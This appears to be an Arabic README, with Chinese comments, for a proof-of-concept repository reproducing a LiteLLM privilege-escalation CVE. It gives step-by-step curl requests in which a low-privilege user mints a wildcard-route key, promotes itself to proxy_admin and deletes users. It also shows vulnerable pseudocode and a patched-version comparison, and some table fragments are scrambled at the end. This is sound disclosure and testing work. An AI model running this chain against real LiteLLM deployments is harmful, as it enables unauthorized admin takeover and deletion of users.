
الكود لإعادة إنتاج الثغرة المقابلة شخصيًا
/key/generate + /user/updateLiteLLM الإصدار v1.82.6 (ما قبل v1.83.14) يتيح نقطة النهاية
/key/generateللمستخدمinternal_userذي الصلاحيات المنخفضة طلب مفتاح API مع مسار شامل["/*"]، ثم رفع دور نفسه إلىproxy_adminعبر نقطة النهاية/user/update، مما يحقق تصعيدًا غير مصرح به للامتياز.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (عالي) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (تفويض غير صحيح) |
| المتأثر | LiteLLM < 1.83.14 (مؤكد على v1.82.6) |
| الإصلاح | v1.83.14+ (تمت إضافة التحقق من دور allowed_routes) |
| النشر | 2026-05-21 |
| اكتشفه | Fenix Qiao (13ph03nix) — Obsidian Security |
| الروابط | NVD |
نقطة النهاية /key/generate في LiteLLM تُستخدم لإنشاء مفاتيح API، ونقطة النهاية /user/update تُستخدم لتحديث سمات المستخدم. توجد ثلاثة عيوب مترابطة في التحقق من التفويض لهاتين النقطتين يمكن للمستخدمين ذوي الصلاحيات المنخفضة استغلالها بالتسلسل:
/key/generate لا يتحقق من allowed_routes — أي دور (بما في ذلك internal_user) يمكنه طلب مسار شامل ["/*"]allowed_routes — المفتاح الشامل الذي تم إنشاؤه يمكنه الوصول إلى جميع نقاط النهاية الإدارية/user/update يسمح بتعديل حقل user_role ذاتيًا — باستخدام المفتاح الشامل يمكن رفع دور المستخدم إلى proxy_admininternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ الحصول على مفتاح API شامل
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ رفع الدور إلى proxy_admin
→ GET /user/list (باستخدام المفتاح الشامل)
→ التحقق من صلاحية الوصول الإداري
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10
يجب أن يحتوي الإخراج المتوقع على سطر مثل Uvicorn running on http://0.0.0.0:4000 للإشارة إلى نجاح بدء التشغيل.
استخدم المفتاح الرئيسي لإنشاء حساب internal_user منخفض الصلاحيات:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
الإخراج المتوقع:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
سجل user_id و key المعادين، حيث ستكون هناك حاجة إليهما في الخطوات التالية.
بصفة internal_user، اتصل بنقطة النهاية /key/generate واطلب مفتاح API بمسار شامل ["/*"]:
# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
الإخراج المتوقع:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ نقطة الضعف: نجح
internal_userفي إنشاء مفتاح API بمسار شامل["/*"]! هذا المفتاح يمكنه الوصول إلى جميع نقاط النهاية الإدارية، بما في ذلك/user/updateو/user/listإلخ.
استخدم المفتاح الشامل لاستدعاء /user/update ورفع دور المستخدم إلى proxy_admin:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
الإخراج المتوقع:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ نقطة الضعف: تم تغيير
user_roleمنinternal_userإلىproxy_admin! نقطة النهاية/user/updateتسمح للمستخدم بتعديل حقلuser_roleالخاص به دون أي قيود.
تحقق من نجاح رفع الامتياز عبر نقطة النهاية /user/list:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
الإخراج المتوقع:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
نقطة النهاية
/user/listمسموحة فقط لدورproxy_admin. الحصول على قائمة المستخدمين بنجاح يؤكد تفعيل رفع الامتياز.
باستخدام صلاحية proxy_admin المكتسبة، يمكن حذف أي مستخدم عبر /user/delete:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
الإخراج المتوقع:
1
تم دمج الخطوات أعلاه في demo.sh، يمكن تنفيذه مباشرة:
# 完整复现(包含步骤 1-5)
bash demo.sh
# 同时测试修复版本对比
bash demo.sh --fixed
ابدأ تشغيل النسخة المُصلحة (v1.83.14-stable) للتحقق من إصلاح الثغرة:
# 启动修复版本
docker compose --profile fixed up -d litellm-fixed
# 等待就绪
sleep 15
إنشاء internal_user:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
حاول إنشاء مفتاح بمسار شامل (من المتوقع منعه):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
الإخراج المتوقع (النسخة المُصلحة تمنع الطلب غير المصرح به):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
مقارنة مع النسخة الضعيفة:
| سيناريو الاختبار | النسخة الضعيفة (v1.82.6) | النسخة المُصلحة (v1.83.14) |
|---|---|---|
internal_user يطلب ["/*"] |
POST /key/generateإنشاء مفتاح API جديد. تُستخدم المعلمة allowed_routes لتقييد قائمة نقاط النهاية التي يمكن للمفتاح الوصول إليها.
| الحقل | النوع | مطلوب | الوصف |
|---|---|---|---|
allowed_routes | array | لا | قائمة المسارات المسموح بها، مثل ["/*"] لجميع المسارات |
POST /user/updateتحديث سمات المستخدم، بما في ذلك الحقل user_role.
| الحقل | النوع | مطلوب | الوصف |
|---|---|---|---|
user_id | string | نعم |
بصفة internal_user، اتصل بـ /key/generate واطلب مفتاحًا بـ ["/*"]:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
يحتوي الرد على مفتاح API جديد يتمتع بصلاحية المسار الشامل.
استخدم المفتاح الشامل لاستدعاء /user/update:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
يكمن السبب الجذري للثغرة في ثلاثة نقاط نقص في التحقق من التفويض:
/key/generate — نقص التحقق من دور allowed_routesتقبل نقطة النهاية /key/generate المعامل allowed_routes وتربطه مباشرة بالمفتاح، دون التحقق من دور الطالب. حتى internal_user يمكنه طلب صلاحيات مسار إدارية.
# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# 仅验证了 API key 有效性
# 未检查 user_role 是否允许请求 allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
allowed_routesعند فحص صلاحية المسار في الوسيطة (middleware)، إذا فشل التحقق من دور المستخدم، يتراجع إلى فحص قائمة allowed_routes الخاصة بمفتاح API. نظرًا لأن ["/*"] يطابق جميع المسارات، يتم السماح بجميع نقاط النهاية الإدارية.
# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
# 用户角色检查失败后回退到 allowed_routes
if not user_role_authorized(request, api_key.user):
# 检查 allowed_routes — ["/*"] 匹配所有
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — السماح بتعديل user_role ذاتيًاعند تحديث سمات المستخدم في نقطة النهاية /user/update، يسمح للمستخدم بتعديل حقل user_role الخاص به دون قيود. يجب أن يكون دور proxy_admin فقط هو المخول بتعديل أدوار المستخدمين.
# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # 未做权限校验!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
أضافت النسخة المُصلحة تحققات التفويض في الجوانب الثلاثة التالية:
/key/generate — إضافة التحقق من معامل allowed_routes: لا يمكن للمستخدم العادي طلب صلاحيات مسار إداريةallowed_routes/user/update — تقييد صلاحية تعديل الحقل user_role: فقط proxy_admin يمكنه تعديل دور المستخدمCVE-2026-47101/
├── README.md # This file
├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
allowed_routes/user/update مع تغييرات user_role للكشف عن النشاط الشاذإخلاء مسؤولية: يُقدم هذا المحتوى لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
| ✅ نجح في إنشاء مفتاح شامل |
| ❌ تم المنع (HTTP 403) |
| المفتاح الشامل يعدل user_role | ✅ نجح في رفع الامتياز إلى proxy_admin | ❌ تم المنع |
| المفتاح الشامل يصل إلى /user/list | ✅ نجح في الحصول على قائمة المستخدمين | ❌ تم المنع |
| معرف المستخدم المراد تحديثه |
user_role | string | نعم | الدور الجديد (مثل proxy_admin) |